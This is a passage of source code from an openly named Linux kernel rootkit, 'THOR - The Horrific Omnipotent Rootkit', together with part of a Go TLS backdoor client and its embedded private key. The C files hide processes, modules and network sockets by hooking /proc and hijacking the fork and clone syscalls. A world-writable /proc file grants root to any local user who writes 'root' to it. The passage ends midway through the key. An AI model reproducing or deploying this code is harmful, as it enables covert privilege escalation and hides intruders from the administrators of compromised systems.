GFP_KERNEL); 222 | memcpy(tmp->name, name, len); 223 | tmp->name[len - 1] = 0; 224 | 225 | LOG_INFO("adding module %s from hiding list", tmp->name); 226 | 227 | list_add(&(tmp->list), &(module_list.list)); 228 | } 229 | 230 | void remove_from_module_list(const char *name, unsigned int len) 231 | { 232 | struct _module_list *tmp; 233 | struct list_head *pos, *q; 234 | 235 | list_for_each_safe(pos, q, &(module_list.list)) { 236 | tmp = list_entry(pos, struct _module_list, list); 237 | if (strncmp(tmp->name, name, len - 1) == 0) { 238 | LOG_INFO("removing module %s from hiding list", name); 239 | list_del(pos); 240 | kfree(tmp->name); 241 | kfree(tmp); 242 | } 243 | } 244 | } 245 | 246 | void clear_module_list(void) 247 | { 248 | struct _module_list *tmp; 249 | struct list_head *pos, *q; 250 | 251 | LOG_INFO("clearing module hiding list"); 252 | 253 | list_for_each_safe(pos, q, &(module_list.list)) { 254 | tmp = list_entry(pos, struct _module_list, list); 255 | list_del(pos); 256 | kfree(tmp->name); 257 | kfree(tmp); 258 | } 259 | } 260 | -------------------------------------------------------------------------------- /src/lsmodhider.h: -------------------------------------------------------------------------------- 1 | #ifndef LSMODHIDER_H 2 | #define LSMODHIDER_H 3 | 4 | /* initialize lsmod hider module */ 5 | int lsmodhider_init(void); 6 | 7 | /* cleanup lsmod hider module */ 8 | void lsmodhider_cleanup(void); 9 | 10 | /* add module to hiding list */ 11 | void add_to_module_list(const char *name, unsigned int len); 12 | 13 | /* remove module from hiding list */ 14 | void remove_from_module_list(const char *name, unsigned int len); 15 | 16 | /* clear hiding list */ 17 | void clear_module_list(void); 18 | 19 | #endif 20 | -------------------------------------------------------------------------------- /src/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "filehider.h" 5 | #include "helper.h" 6 | #include "hijack.h" 7 | #include "logging.h" 8 | #include "lsmodhider.h" 9 | #include "procfile.h" 10 | #include "pidhider.h" 11 | #include "sockethider.h" 12 | 13 | static void thor_cleanup(void) 14 | { 15 | procfile_cleanup(); 16 | pidhider_cleanup(); 17 | filehider_cleanup(); 18 | sockethider_cleanup(); 19 | lsmodhider_cleanup(); 20 | hijack_cleanup(); 21 | LOG_INFO("cleanup done"); 22 | } 23 | 24 | static int __init thor_init(void) 25 | { 26 | if (hijack_init() < 0 || 27 | procfile_init() < 0 || 28 | pidhider_init() < 0 || 29 | filehider_init() < 0 || 30 | lsmodhider_init() < 0 || 31 | sockethider_init() < 0) { 32 | LOG_ERROR("failed to initialize"); 33 | thor_cleanup(); 34 | return -1; 35 | } 36 | 37 | LOG_INFO("init done"); 38 | return 0; 39 | } 40 | 41 | static void __exit thor_exit(void) 42 | { 43 | thor_cleanup(); 44 | } 45 | 46 | module_init(thor_init); 47 | module_exit(thor_exit); 48 | 49 | MODULE_LICENSE("GPL"); 50 | MODULE_AUTHOR("Alex Hirsch (W4RH4WK) "); 51 | MODULE_AUTHOR("Franz-Josef Anton Friedrich Haider (krnylng) "); 52 | MODULE_DESCRIPTION("THOR - The Horrific Omnipotent Rootkit"); 53 | -------------------------------------------------------------------------------- /src/pidhider.c: -------------------------------------------------------------------------------- 1 | #include "pidhider.h" 2 | 3 | #include "config.h" 4 | #include "helper.h" 5 | #include "hijack.h" 6 | #include "logging.h" 7 | #include "procfile.h" 8 | #include "sockethider.h" 9 | 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include 16 | 17 | /* function prototypes */ 18 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 19 | static int thor_proc_iterate(struct file *file, void *dirent, filldir_t filldir); 20 | #else 21 | static int thor_proc_iterate(struct file *file, struct dir_context *ctx); 22 | #endif 23 | static int thor_proc_filldir(void *buf, const char *name, int namelen, 24 | loff_t offset, u64 ino, unsigned d_type); 25 | static long thor_fork(void); 26 | #ifdef __ARCH_WANT_SYS_CLONE 27 | # ifdef CONFIG_CLONE_BACKWARDS 28 | long thor_clone(unsigned long clone_flags, unsigned long newsp, 29 | int __user * parent_tidptr, 30 | int tls_val, 31 | int __user * child_tidptr); 32 | # elif defined(CONFIG_CLONE_BACKWARDS2) 33 | long thor_clone(unsigned long newsp, unsigned long clone_flags, 34 | int __user * parent_tidptr, 35 | int __user * child_tidptr, 36 | int tls_val); 37 | # elif defined(CONFIG_CLONE_BACKWARDS3) 38 | long thor_clone(unsigned long clone_flags, unsigned long newsp, 39 | int stack_size, 40 | int __user * parent_tidptr, 41 | int __user * child_tidptr, 42 | int tls_val); 43 | # else 44 | long thor_clone(unsigned long clone_flags, unsigned long newsp, 45 | int __user * parent_tidptr, 46 | int __user * child_tidptr, 47 | int tls_val); 48 | # endif 49 | #endif 50 | /* node for hiding list */ 51 | struct _pid_list { 52 | unsigned short pid; 53 | struct list_head list; 54 | }; 55 | 56 | /* hiding list */ 57 | static struct _pid_list pid_list; 58 | 59 | /* entry of /proc */ 60 | static struct proc_dir_entry *procroot; 61 | 62 | /* file operations of /proc */ 63 | static struct file_operations *proc_fops; 64 | 65 | /* pointers to syscalls we need to hook/hijack */ 66 | static long (*sys_fork)(void); 67 | #ifdef __ARCH_WANT_SYS_CLONE 68 | # ifdef CONFIG_CLONE_BACKWARDS 69 | static long (*sys_clone)(unsigned long clone_flags, unsigned long newsp, 70 | int __user * parent_tidptr, 71 | int tls_val, 72 | int __user * child_tidptr); 73 | # elif defined(CONFIG_CLONE_BACKWARDS2) 74 | static long (*sys_clone)(unsigned long newsp, unsigned long clone_flags, 75 | int __user * parent_tidptr, 76 | int __user * child_tidptr, 77 | int tls_val); 78 | # elif defined(CONFIG_CLONE_BACKWARDS3) 79 | static long (*sys_clone)(unsigned long clone_flags, unsigned long newsp, 80 | int stack_size, 81 | int __user * parent_tidptr, 82 | int __user * child_tidptr, 83 | int tls_val); 84 | # else 85 | static long (*sys_clone)(unsigned long clone_flags, unsigned long newsp, 86 | int __user * parent_tidptr, 87 | int __user * child_tidptr, 88 | int tls_val); 89 | # endif 90 | #endif 91 | 92 | /* pointer to original proc_iterate function */ 93 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 94 | static int (*orig_proc_iterate)(struct file *file, void *dirent, filldir_t filldir); 95 | #else 96 | static int (*orig_proc_iterate)(struct file *, struct dir_context *); 97 | #endif 98 | 99 | /* pointer to original proc_filldir function */ 100 | static int (*orig_proc_filldir)(void *buf, const char *name, int namelen, 101 | loff_t offset, u64 ino, unsigned d_type); 102 | 103 | int pidhider_init(void) 104 | { 105 | void *iterate_addr; 106 | 107 | INIT_LIST_HEAD(&pid_list.list); 108 | 109 | LOG_INFO("hooking /proc readdir / iterate"); 110 | 111 | /* insert our modified iterate for /proc */ 112 | procroot = procfile->parent; 113 | proc_fops = (struct file_operations*) procroot->proc_fops; 114 | 115 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 116 | orig_proc_iterate = proc_fops->readdir; 117 | #else 118 | orig_proc_iterate = proc_fops->iterate; 119 | #endif 120 | 121 | iterate_addr = (void*) &(thor_proc_iterate); 122 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 123 | write_no_prot(&proc_fops->readdir, &iterate_addr, sizeof(void*)); 124 | #else 125 | write_no_prot(&proc_fops->iterate, &iterate_addr, sizeof(void*)); 126 | #endif 127 | 128 | sys_fork = (void*) kallsyms_lookup_name("sys_fork"); 129 | 130 | if (sys_fork == NULL) { 131 | LOG_ERROR("failed to lookup syscall fork"); 132 | return -1; 133 | } 134 | 135 | sys_clone = (void*) kallsyms_lookup_name("sys_clone"); 136 | 137 | if (sys_clone == NULL) { 138 | LOG_ERROR("failed to lookup syscall clone"); 139 | return -1; 140 | } 141 | 142 | LOG_INFO("hijacking fork"); 143 | 144 | hijack(sys_fork, thor_fork); 145 | #ifdef __ARCH_WANT_SYS_CLONE 146 | LOG_INFO("hijacking clone"); 147 | hijack(sys_clone, thor_clone); 148 | #endif 149 | 150 | return 0; 151 | } 152 | 153 | void pidhider_cleanup(void) 154 | { 155 | if (proc_fops != NULL && orig_proc_iterate != NULL) { 156 | void *iterate_addr = orig_proc_iterate; 157 | 158 | LOG_INFO("unhooking /proc readdir / iterate"); 159 | 160 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 161 | write_no_prot(&proc_fops->readdir, &iterate_addr, sizeof(void*)); 162 | #else 163 | write_no_prot(&proc_fops->iterate, &iterate_addr, sizeof(void*)); 164 | #endif 165 | } 166 | 167 | clear_pid_list(); 168 | 169 | if (sys_fork != NULL) { 170 | LOG_INFO("unhijacking fork"); 171 | unhijack(sys_fork); 172 | } 173 | #ifdef __ARCH_WANT_SYS_CLONE 174 | if (sys_clone != NULL) { 175 | LOG_INFO("unhijacking clone"); 176 | unhijack(sys_clone); 177 | } 178 | #endif 179 | } 180 | 181 | static long thor_fork(void) 182 | { 183 | bool hidden = false; 184 | long ret; 185 | 186 | /* check if process calling fork is hidden */ 187 | hidden = is_pid_hidden(current->pid); 188 | 189 | unhijack(sys_fork); 190 | ret = sys_fork(); 191 | hijack(sys_fork, thor_fork); 192 | 193 | /* if mother process was hidden child process */ 194 | if(hidden && ret != -1 && ret != 0) { 195 | LOG_INFO("(fork) hiding child process: %hu", (unsigned short) ret); 196 | add_to_pid_list((unsigned short) ret); 197 | } 198 | 199 | return ret; 200 | } 201 | 202 | #ifdef __ARCH_WANT_SYS_CLONE 203 | # ifdef CONFIG_CLONE_BACKWARDS 204 | long thor_clone(unsigned long clone_flags, unsigned long newsp, 205 | int __user * parent_tidptr, 206 | int tls_val, 207 | int __user * child_tidptr) 208 | # elif defined(CONFIG_CLONE_BACKWARDS2) 209 | long thor_clone(unsigned long newsp, unsigned long clone_flags, 210 | int __user * parent_tidptr, 211 | int __user * child_tidptr, 212 | int tls_val) 213 | # elif defined(CONFIG_CLONE_BACKWARDS3) 214 | long thor_clone(unsigned long clone_flags, unsigned long newsp, 215 | int stack_size, 216 | int __user * parent_tidptr, 217 | int __user * child_tidptr, 218 | int tls_val) 219 | # else 220 | long thor_clone(unsigned long clone_flags, unsigned long newsp, 221 | int __user * parent_tidptr, 222 | int __user * child_tidptr, 223 | int tls_val) 224 | # endif 225 | { 226 | bool hidden = false; 227 | long ret; 228 | 229 | /* check if process calling clone is hidden */ 230 | hidden = is_pid_hidden(current->pid); 231 | 232 | unhijack(sys_clone); 233 | # ifdef CONFIG_CLONE_BACKWARDS 234 | ret = sys_clone(clone_flags, newsp, 235 | parent_tidptr, 236 | tls_val, 237 | child_tidptr); 238 | # elif defined(CONFIG_CLONE_BACKWARDS2) 239 | ret = sys_clone(newsp, clone_flags, 240 | parent_tidptr, 241 | child_tidptr, 242 | tls_val); 243 | # elif defined(CONFIG_CLONE_BACKWARDS3) 244 | ret = sys_clone(clone_flags, newsp, 245 | stack_size, 246 | parent_tidptr, 247 | child_tidptr, 248 | tls_val); 249 | # else 250 | ret = sys_clone(clone_flags, newsp, 251 | parent_tidptr, 252 | child_tidptr, 253 | tls_val); 254 | # endif 255 | hijack(sys_clone, thor_clone); 256 | 257 | /* if mother process was hidden child process */ 258 | if (hidden && ret != -1 && ret != 0) { 259 | LOG_INFO("(clone) hiding child process: %hu", (unsigned short) ret); 260 | add_to_pid_list((unsigned short) ret); 261 | } 262 | 263 | return ret; 264 | } 265 | #endif 266 | 267 | 268 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 269 | static int thor_proc_iterate(struct file *file, void *dirent, filldir_t filldir) 270 | { 271 | orig_proc_filldir = filldir; 272 | return orig_proc_iterate(file, dirent, thor_proc_filldir); 273 | } 274 | #else 275 | static int thor_proc_iterate(struct file *file, struct dir_context *ctx) 276 | { 277 | int ret; 278 | filldir_t *ctx_actor; 279 | 280 | /* capture original filldir function */ 281 | orig_proc_filldir = ctx->actor; 282 | 283 | /* cast away const from ctx->actor */ 284 | ctx_actor = (filldir_t*) (&ctx->actor); 285 | 286 | /* store our filldir in ctx->actor */ 287 | *ctx_actor = thor_proc_filldir; 288 | ret = orig_proc_iterate(file, ctx); 289 | 290 | /* restore original filldir */ 291 | *ctx_actor = orig_proc_filldir; 292 | 293 | return ret; 294 | } 295 | #endif 296 | 297 | static int thor_proc_filldir(void *buf, const char *name, int namelen, 298 | loff_t offset, u64 ino, unsigned d_type) 299 | { 300 | struct _pid_list *tmp; 301 | char pidname[6]; 302 | unsigned short pid; 303 | unsigned int ipid; 304 | 305 | strncpy(pidname, name, MIN(namelen, 6)); 306 | pidname[MIN(namelen, 5)] = 0; 307 | 308 | kstrtoint(pidname, 10, &ipid); 309 | pid = (unsigned short) ipid; 310 | 311 | /* hide specified PIDs */ 312 | list_for_each_entry(tmp, &(pid_list.list), list) { 313 | if (pid == tmp->pid) { 314 | LOG_INFO("hiding pid %d", pid); 315 | return 0; 316 | } 317 | } 318 | 319 | /* hide thor itself */ 320 | if (strcmp(name, THOR_PROCFILE) == 0) { 321 | LOG_INFO("hiding /proc/" THOR_PROCFILE); 322 | return 0; 323 | } 324 | 325 | return orig_proc_filldir(buf, name, namelen, offset, ino, d_type); 326 | } 327 | 328 | void add_to_pid_list(const unsigned short pid) 329 | { 330 | struct _pid_list *tmp; 331 | 332 | tmp = (struct _pid_list*) kmalloc(sizeof(struct _pid_list), GFP_KERNEL); 333 | tmp->pid = pid; 334 | 335 | LOG_INFO("adding pid %d to hiding list", tmp->pid); 336 | 337 | list_add(&(tmp->list), &(pid_list.list)); 338 | } 339 | 340 | void remove_from_pid_list(const unsigned short pid) 341 | { 342 | struct _pid_list *tmp; 343 | struct list_head *pos, *q; 344 | 345 | list_for_each_safe(pos, q, &(pid_list.list)) { 346 | tmp = list_entry(pos, struct _pid_list, list); 347 | if (pid == tmp->pid) { 348 | LOG_INFO("removing pid %d from hiding list", pid); 349 | list_del(pos); 350 | kfree(tmp); 351 | } 352 | } 353 | } 354 | 355 | void clear_pid_list(void) 356 | { 357 | struct _pid_list *tmp; 358 | struct list_head *pos, *q; 359 | 360 | LOG_INFO("clearing pid hiding list"); 361 | 362 | list_for_each_safe(pos, q, &(pid_list.list)) { 363 | tmp = list_entry(pos, struct _pid_list, list); 364 | list_del(pos); 365 | kfree(tmp); 366 | } 367 | } 368 | 369 | bool is_pid_hidden(const unsigned short pid) 370 | { 371 | struct _pid_list *tmp; 372 | 373 | list_for_each_entry(tmp, &(pid_list.list), list) { 374 | if (pid == tmp->pid) { 375 | return true; 376 | } 377 | } 378 | 379 | return false; 380 | } 381 | -------------------------------------------------------------------------------- /src/pidhider.h: -------------------------------------------------------------------------------- 1 | #ifndef PROCHIDER_H 2 | #define PROCHIDER_H 3 | 4 | #include 5 | 6 | /* initialize proc hider module */ 7 | int pidhider_init(void); 8 | 9 | /* cleanup proc hider module */ 10 | void pidhider_cleanup(void); 11 | 12 | /* add pid to hiding list */ 13 | void add_to_pid_list(const unsigned short pid); 14 | 15 | /* remove pid from hiding list */ 16 | void remove_from_pid_list(const unsigned short pid); 17 | 18 | /* clear hiding list */ 19 | void clear_pid_list(void); 20 | 21 | /* check if pid is hidden */ 22 | bool is_pid_hidden(const unsigned short pid); 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /src/procfile.c: -------------------------------------------------------------------------------- 1 | #include "procfile.h" 2 | 3 | #include "config.h" 4 | #include "filehider.h" 5 | #include "helper.h" 6 | #include "logging.h" 7 | #include "lsmodhider.h" 8 | #include "pidhider.h" 9 | #include "sockethider.h" 10 | 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | /* function prototypes */ 18 | static int procfile_read(struct seq_file *m, void *v); 19 | static int procfile_open(struct inode *inode, struct file *file); 20 | static ssize_t procfile_write(struct file *file, const char __user *buffer, 21 | size_t count, loff_t *ppos); 22 | 23 | /* procfile */ 24 | struct proc_dir_entry *procfile; 25 | 26 | /* file operatiosn for procfile */ 27 | static struct file_operations procfile_fops = { 28 | .owner = THIS_MODULE, 29 | .open = procfile_open, 30 | .read = seq_read, 31 | .write = procfile_write, 32 | .llseek = seq_lseek, 33 | .release = single_release, 34 | }; 35 | 36 | int procfile_init(void) 37 | { 38 | LOG_INFO("creating /proc/" THOR_PROCFILE); 39 | 40 | /* allocate file in proc */ 41 | procfile = proc_create(THOR_PROCFILE, 0666, NULL, &procfile_fops); 42 | if (procfile == NULL) { 43 | LOG_ERROR("could not create proc entry"); 44 | return -1; 45 | } 46 | 47 | return 0; 48 | } 49 | 50 | /* read callback for procfile */ 51 | static int procfile_read(struct seq_file *m, void *v) 52 | { 53 | seq_printf(m, "usage:\n"); 54 | seq_printf(m, " echo hp PID > /proc/" THOR_PROCFILE " (hides process PID)\n"); 55 | seq_printf(m, " echo up PID > /proc/" THOR_PROCFILE " (unhides process PID)\n"); 56 | seq_printf(m, " echo upa > /proc/" THOR_PROCFILE " (unhide all PIDs)\n"); 57 | seq_printf(m, " echo hm MODULE > /proc/" THOR_PROCFILE " (hide module)\n"); 58 | seq_printf(m, " echo um MODULE > /proc/" THOR_PROCFILE " (unhide module)\n"); 59 | seq_printf(m, " echo uma > /proc/" THOR_PROCFILE " (unhide all modules)\n"); 60 | seq_printf(m, " echo root > /proc/" THOR_PROCFILE " (gain root privileges)\n"); 61 | return 0; 62 | } 63 | 64 | /* open callback for procfile */ 65 | static int procfile_open(struct inode *inode, struct file *file) 66 | { 67 | return single_open(file, procfile_read, NULL); 68 | } 69 | 70 | /* write callback for procfile */ 71 | static ssize_t procfile_write(struct file *file, const char __user *buffer, 72 | size_t count, loff_t *ppos) 73 | { 74 | int r; 75 | if (strncmp(buffer, "hp ", MIN(3, count)) == 0) { 76 | int pid; 77 | char s_pid[6]; 78 | strncpy(s_pid, buffer+3, MIN(6, count - 3)); 79 | s_pid[MIN(6, count-3)-1] = 0; 80 | r = kstrtoint(s_pid, 10, &pid); 81 | if (r == 0) { 82 | add_to_pid_list((unsigned short) pid); 83 | } else { 84 | LOG_ERROR("kstrtoint failed to parse input: %s, error: %d", s_pid, r); 85 | } 86 | } else if (strncmp(buffer, "upa", MIN(3, count)) == 0) { 87 | clear_pid_list(); 88 | } else if (strncmp(buffer, "up ", MIN(3, count)) == 0) { 89 | int pid; 90 | char s_pid[6]; 91 | strncpy(s_pid, buffer+3, MIN(6, count - 3)); 92 | s_pid[MIN(6, count-3)-1] = 0; 93 | r = kstrtoint(s_pid, 10, &pid); 94 | if (r == 0) { 95 | remove_from_pid_list((unsigned short) pid); 96 | } else { 97 | LOG_ERROR("kstrtoint failed to parse input: %s, error: %d", s_pid, r); 98 | } 99 | } else if (strncmp(buffer, "hm ", MIN(3, count)) == 0) { 100 | add_to_module_list(buffer + 3, count - 3); 101 | } else if (strncmp(buffer, "uma", MIN(3, count)) == 0) { 102 | clear_module_list(); 103 | } else if (strncmp(buffer, "um ", MIN(3, count)) == 0) { 104 | remove_from_module_list(buffer + 3, count - 3); 105 | } else if (strncmp(buffer, "root", MIN(4, count)) == 0) { 106 | commit_creds(prepare_kernel_cred(0)); 107 | } 108 | return count; 109 | } 110 | 111 | void procfile_cleanup(void) 112 | { 113 | if (procfile != NULL) { 114 | LOG_INFO("removing /proc/" THOR_PROCFILE); 115 | 116 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 117 | remove_proc_entry(THOR_PROCFILE, procfile->parent); 118 | #else 119 | proc_remove(procfile); 120 | #endif 121 | procfile = NULL; 122 | } 123 | } 124 | -------------------------------------------------------------------------------- /src/procfile.h: -------------------------------------------------------------------------------- 1 | #ifndef PROCFILE_H 2 | #define PROCFILE_H 3 | 4 | /* entry for /proc/thor */ 5 | extern struct proc_dir_entry *procfile; 6 | 7 | /* create procfile */ 8 | int procfile_init(void); 9 | 10 | /* remove procfile */ 11 | void procfile_cleanup(void); 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /src/sockethider.c: -------------------------------------------------------------------------------- 1 | #include "sockethider.h" 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "logging.h" 13 | #include "pidhider.h" 14 | 15 | /* simplify function pointer */ 16 | typedef int (*seq_show_fun)(struct seq_file*, void*); 17 | 18 | /* original functions */ 19 | static seq_show_fun orig_tcp4_seq_show; 20 | static seq_show_fun orig_tcp6_seq_show; 21 | static seq_show_fun orig_udp4_seq_show; 22 | static seq_show_fun orig_udp6_seq_show; 23 | 24 | /* function prototypes */ 25 | static seq_show_fun replace_tcp_seq_show(seq_show_fun new_seq_show, 26 | const char *path); 27 | static seq_show_fun replace_udp_seq_show(seq_show_fun new_seq_show, 28 | const char *path); 29 | static int thor_tcp4_seq_show(struct seq_file *seq, void *v); 30 | static int thor_tcp6_seq_show(struct seq_file *seq, void *v); 31 | static int thor_udp4_seq_show(struct seq_file *seq, void *v); 32 | static int thor_udp6_seq_show(struct seq_file *seq, void *v); 33 | static bool is_socket_process_hidden(struct sock *sp); 34 | 35 | int sockethider_init(void) 36 | { 37 | LOG_INFO("replacing socket seq show functions"); 38 | 39 | orig_tcp4_seq_show = replace_tcp_seq_show(thor_tcp4_seq_show, "/proc/net/tcp"); 40 | orig_tcp6_seq_show = replace_tcp_seq_show(thor_tcp6_seq_show, "/proc/net/tcp6"); 41 | orig_udp4_seq_show = replace_udp_seq_show(thor_udp4_seq_show, "/proc/net/udp"); 42 | orig_udp6_seq_show = replace_udp_seq_show(thor_udp6_seq_show, "/proc/net/udp6"); 43 | 44 | if (orig_tcp4_seq_show == NULL) { 45 | LOG_ERROR("could not sucessfully replace tcp4 seq show functions"); 46 | return -1; 47 | } 48 | 49 | if (orig_tcp6_seq_show == NULL) { 50 | LOG_ERROR("could not sucessfully replace tcp6 seq show functions"); 51 | return -1; 52 | } 53 | 54 | if (orig_udp4_seq_show == NULL) { 55 | LOG_ERROR("could not sucessfully replace udp4 seq show functions"); 56 | return -1; 57 | } 58 | 59 | if (orig_udp6_seq_show == NULL) { 60 | LOG_ERROR("could not sucessfully replace udp6 seq show functions"); 61 | return -1; 62 | } 63 | 64 | return 0; 65 | } 66 | 67 | void sockethider_cleanup(void) 68 | { 69 | LOG_INFO("replacing socket seq show functions with original ones"); 70 | 71 | replace_tcp_seq_show(orig_tcp4_seq_show, "/proc/net/tcp"); 72 | replace_tcp_seq_show(orig_tcp6_seq_show, "/proc/net/tcp6"); 73 | replace_udp_seq_show(orig_udp4_seq_show, "/proc/net/udp"); 74 | replace_udp_seq_show(orig_udp6_seq_show, "/proc/net/udp6"); 75 | } 76 | 77 | /* replace tcp seq show function, returns old one */ 78 | static seq_show_fun replace_tcp_seq_show(seq_show_fun new_seq_show, 79 | const char *path) 80 | { 81 | void *old_seq_show; 82 | struct file *filp; 83 | struct tcp_seq_afinfo *afinfo; 84 | 85 | if ((filp = filp_open(path, O_RDONLY, 0)) == NULL) 86 | return NULL; 87 | 88 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 89 | afinfo = PDE(filp->f_dentry->d_inode)->data; 90 | #else 91 | afinfo = PDE_DATA(filp->f_dentry->d_inode); 92 | #endif 93 | 94 | old_seq_show = afinfo->seq_ops.show; 95 | afinfo->seq_ops.show = new_seq_show; 96 | 97 | filp_close(filp, 0); 98 | 99 | return old_seq_show; 100 | 101 | } 102 | 103 | /* replace udp seq show function, returns old one */ 104 | static seq_show_fun replace_udp_seq_show(seq_show_fun new_seq_show, 105 | const char *path) 106 | { 107 | void *old_seq_show; 108 | struct file *filp; 109 | struct udp_seq_afinfo *afinfo; 110 | 111 | if ((filp = filp_open(path, O_RDONLY, 0)) == NULL) 112 | return NULL; 113 | 114 | #if LINUX_VERSION_CODE < KERNEL_VERSION(3, 10, 0) 115 | afinfo = PDE(filp->f_dentry->d_inode)->data; 116 | #else 117 | afinfo = PDE_DATA(filp->f_dentry->d_inode); 118 | #endif 119 | 120 | old_seq_show = afinfo->seq_ops.show; 121 | afinfo->seq_ops.show = new_seq_show; 122 | 123 | filp_close(filp, 0); 124 | 125 | return old_seq_show; 126 | } 127 | 128 | static int thor_tcp4_seq_show(struct seq_file *seq, void *v) 129 | { 130 | /* hide port */ 131 | if (v != SEQ_START_TOKEN && is_socket_process_hidden(v)) 132 | return 0; 133 | 134 | /* call original */ 135 | return orig_tcp4_seq_show(seq, v); 136 | } 137 | 138 | static int thor_tcp6_seq_show(struct seq_file *seq, void *v) 139 | { 140 | /* hide port */ 141 | if (v != SEQ_START_TOKEN && is_socket_process_hidden(v)) 142 | return 0; 143 | 144 | /* call original */ 145 | return orig_tcp6_seq_show(seq, v); 146 | } 147 | 148 | static int thor_udp4_seq_show(struct seq_file *seq, void *v) 149 | { 150 | /* hide port */ 151 | if (v != SEQ_START_TOKEN && is_socket_process_hidden(v)) 152 | return 0; 153 | 154 | /* call original */ 155 | return orig_udp4_seq_show(seq, v); 156 | } 157 | 158 | static int thor_udp6_seq_show(struct seq_file *seq, void *v) 159 | { 160 | /* hide port */ 161 | if (v != SEQ_START_TOKEN && is_socket_process_hidden(v)) 162 | return 0; 163 | 164 | /* call original */ 165 | return orig_udp6_seq_show(seq, v); 166 | } 167 | 168 | /* true if socket is owned by a hidden process */ 169 | static bool is_socket_process_hidden(struct sock *sp) 170 | { 171 | struct task_struct *task; 172 | 173 | /* check sp */ 174 | if (!sp || !sp->sk_socket || !sp->sk_socket->file) 175 | return false; 176 | 177 | for_each_process(task) { 178 | int n = 0; 179 | struct fdtable *fdt; 180 | struct files_struct *files; 181 | 182 | if (!task) 183 | continue; 184 | 185 | /* skip if process is not hidden */ 186 | if (!is_pid_hidden(task->pid)) 187 | continue; 188 | 189 | /* get files (unsafe but i dont care) */ 190 | files = task->files; 191 | 192 | if (!files) 193 | continue; 194 | 195 | /* go through file descriptor table */ 196 | spin_lock(&files->file_lock); 197 | for (fdt = files_fdtable(files); n < fdt->max_fds; n++) { 198 | if (!fdt->fd[n]) 199 | continue; 200 | 201 | if (sp->sk_socket->file->f_inode == fdt->fd[n]->f_inode) { 202 | LOG_INFO("found socket --> hide it"); 203 | spin_unlock(&files->file_lock); 204 | return true; 205 | } 206 | } 207 | spin_unlock(&files->file_lock); 208 | } 209 | 210 | return false; 211 | } 212 | -------------------------------------------------------------------------------- /src/sockethider.h: -------------------------------------------------------------------------------- 1 | #ifndef SOCKETHIDER_H 2 | #define SOCKETHIDER_H 3 | 4 | /* initialize socket hider module */ 5 | int sockethider_init(void); 6 | 7 | /* cleanup socket hider module */ 8 | void sockethider_cleanup(void); 9 | 10 | #endif 11 | -------------------------------------------------------------------------------- /util/backdoor/Makefile: -------------------------------------------------------------------------------- 1 | build: 2 | go run gen.go 3 | openssl x509 -in server.crt -inform DER -out server.pem 4 | openssl x509 -in client.crt -inform DER -out client.pem 5 | openssl rsa -in client.key -inform DER -out client.key 6 | openssl rsa -in server.key -inform DER -out server.key 7 | chmod 600 *.key *.pem *.crt 8 | @echo 9 | @echo "------------------------------------------------------------" 10 | @echo " only .crt, .pem and .key files have been built " 11 | @echo "------------------------------------------------------------" 12 | 13 | clean: 14 | rm -f *.crt *.pem *.key 15 | -------------------------------------------------------------------------------- /util/backdoor/client.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/tls" 5 | "io" 6 | "log" 7 | "os" 8 | ) 9 | 10 | func main() { 11 | clientpem := []byte(`-----BEGIN CERTIFICATE----- 12 | MIICLjCCAZmgAwIBAgICBnowCwYJKoZIhvcNAQELMDQxEDAOBgNVBAYTB0F1c3Ry 13 | aWExETAPBgNVBAoTCEhlYXBsb2NrMQ0wCwYDVQQLEwRUSE9SMB4XDTE0MTIyOTIw 14 | MjgxNloXDTI0MTIyOTIwMjgxNlowNDEQMA4GA1UEBhMHQXVzdHJpYTERMA8GA1UE 15 | ChMISGVhcGxvY2sxDTALBgNVBAsTBFRIT1IwgZ8wDQYJKoZIhvcNAQEBBQADgY0A 16 | MIGJAoGBALU8nHHU80Npw36kBX2e8yM+wzWcqu4kCnOctyM7IQy13rA1LIm62gEU 17 | ApH5tl2JtgTISgFevnLgScVgg+jMqVQliQ5wlHF5XL9fdYCpYw547cN+dOMosPfa 18 | RYkFs0HNoMmgkFCRkSmN9YMu0I1C19GVrUFKo6gPK2CA/9F6v/3PAgMBAAGjUzBR 19 | MA4GA1UdDwEB/wQEAwIAhDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEw 20 | DgYDVR0OBAcEBQECAwQGMBAGA1UdIwQJMAeABQECAwQFMAsGCSqGSIb3DQEBCwOB 21 | gQC3DNFu25IIxJyK5CwkYDjab/yXh7oCBzwyRTwobCvXBH5VYR01VmurRImADN8a 22 | MKleoXSBRryjikEuLaILUwYCFwPcKatGTv7sF4ofYSEB4sdUtLcxmfu68ZZxVqD5 23 | e5iNBHU/sFQmM87qUh4MX4wFxd/7x0pWv0t2jbNvv18KiQ== 24 | -----END CERTIFICATE-----`) 25 | 26 | clientkey := []byte(`-----BEGIN RSA PRIVATE KEY----- 27 | MIICXQIBAAKBgQC1PJxx1PNDacN+pAV9nvMjPsM1nKruJApznLcjOyEMtd6wNSyJ 28 | utoBFAKR+bZdibYEyEoBXr5y4EnFYIPozKlUJYkOcJRxeVy/X3WAqWMOeO3DfnTj 29 | KLD32kWJBbNBzaDJoJBQkZEpjfWDLtCNQtfRla1BSqOoDytggP/Rer/9zwIDAQAB 30 | AoGBAJ1Pd+eiVGh+Q+8HhbCNKDO+hYhibUd5Rw0kyR2udDhpIFrIPNlrs1BeQwDb 31 | w/wazUAHbZ0U1LA3mDDXXofSJWJqBklyzDfbvJ0zELtWjmgeQy4SSYPAxFgOPAgA 32 | fqPj5kGSoxTfPPjtb1l1/nOV7dq4S0ip/hDjyDxPj1YrSJdRAkEA7HuVSREkifJd 33 | 